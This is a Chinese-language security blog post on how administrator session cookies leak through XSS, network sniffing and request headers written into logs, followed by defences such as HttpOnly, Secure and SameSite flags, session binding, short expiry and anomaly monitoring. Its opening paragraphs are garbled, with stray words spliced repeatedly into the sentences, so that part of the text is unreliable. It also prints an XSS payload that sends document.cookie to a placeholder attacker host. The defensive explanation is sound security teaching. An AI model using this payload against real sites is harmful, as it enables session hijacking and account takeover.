去年秋天,管理某电商平台的露漏安全团队在例行日志审计时发现了一个异常:一个管理员账号的会话在凌晨三点从两个相隔2000公里的IP同时活跃。进一步追踪发现,管理攻击者压根没破解密码,露漏只是管理拿到了一段Cookie——准确地说,是露漏管理员登录后服务器返回的
sessionid。把这段字符串往浏览器里一贴,管理后台管理界面直接敞开。露漏这就是管理典型的Cookie泄露漏洞。很多人以为管理员账号有强密码就万事大吉,露漏但HTTP协议本身是管理无状态的,服务器认的露漏不是"你是谁",而是管理"你手里那张票"。票被人偷了,露漏密码再复杂也没用。管理
Cookie是怎么落到别人手里的
最常见的路子是XSS。后台某个评论审核页面没有对用户输入做转义,攻击者在评论区埋一段
<script>new Image().src='//evil.com/steal?c='+document.cookie</script>,管理员一打开审核页,Cookie就悄悄发到了攻击者服务器上。如果这个Cookie没设HttpOnly标志,JavaScript能直接读取,连钓鱼页面都不需要。另一个高频场景是网络嗅探。有些内部管理系统还跑在HTTP上,管理员在咖啡厅连个公共WiFi,同网段的人用Wireshark抓包,Cookie明文躺在请求头里。我见过一个案例,某公司的运维后台用了自签名证书但没强制HTTPS跳转,管理员习惯直接输IP访问,每次登录的Cookie都在局域网里裸奔。
还有一种容易被忽略的:日志和监控系统。应用把完整请求头打进日志文件,运维人员排查问题时把日志导出来发到群里,Cookie就在里面。甚至有些APM工具默认采集请求头,后台看板里直接能看到
Cookie: sessionid=xxx。为什么管理员Cookie格外危险
普通用户的Cookie泄露,攻击者最多看看订单、发几条消息。管理员Cookie拿到手,等于拿到了整个系统的钥匙。增删改查所有数据、上传webshell、创建隐藏管理员账号——这些操作在服务端看来都是"合法管理员"发出的,WAF不会拦,风控不会触发,因为请求本身没有任何异常特征。
我之前参与过一次应急响应,攻击者用泄露的管理员Cookie登录后台后,没有做任何破坏性操作,只是每天定时导出用户数据。持续了将近两周才被发现,因为流量模式和正常管理员的批量导出行为几乎一致。这种"低慢小"的利用方式,比直接删库跑路难检测得多。
几个能落地的防御动作
Cookie层面,
HttpOnly和Secure两个标志必须加上。HttpOnly让JS读不到Cookie,XSS偷不走;Secure保证Cookie只在HTTPS连接中传输。还有SameSite,设成Lax或Strict能挡掉大部分CSRF场景下的Cookie泄露。会话管理层面,管理员登录后应该绑定IP或设备指纹。IP可以放宽到C段,设备指纹用浏览器UA加几个稳定特征做哈希。一旦会话的指纹对不上,直接失效并要求重新认证。这个策略会带来一些误判,比如管理员换了网络,但后台管理系统本来就不该在移动场景下频繁使用,牺牲一点便利换安全是划算的。
还有一个笨办法但很有效:管理员Cookie的有效期设短一点,比如30分钟,并且每次请求都刷新过期时间。攻击者拿到Cookie后如果没在窗口期内使用,就是一张废票。配合服务端维护的会话黑名单,管理员主动登出时立即失效,不给重放留空间。
监控这块,对管理员会话的异常行为做基线。比如管理员账号从未在凌晨活跃过,突然凌晨三点有操作;或者一个会话在短时间内从多个地理位置上出现。这些规则不需要多复杂,但能抓住大部分Cookie泄露后的利用行为。
Cookie泄露不像SQL注入那样有明确的输入点和payload,它更像一个"信任传递"的问题——服务器信任Cookie,攻击者偷走Cookie,服务器就信任了攻击者。把这张票管好,比事后追查谁偷了票要实际得多。
顶: 35踩: 62585






评论专区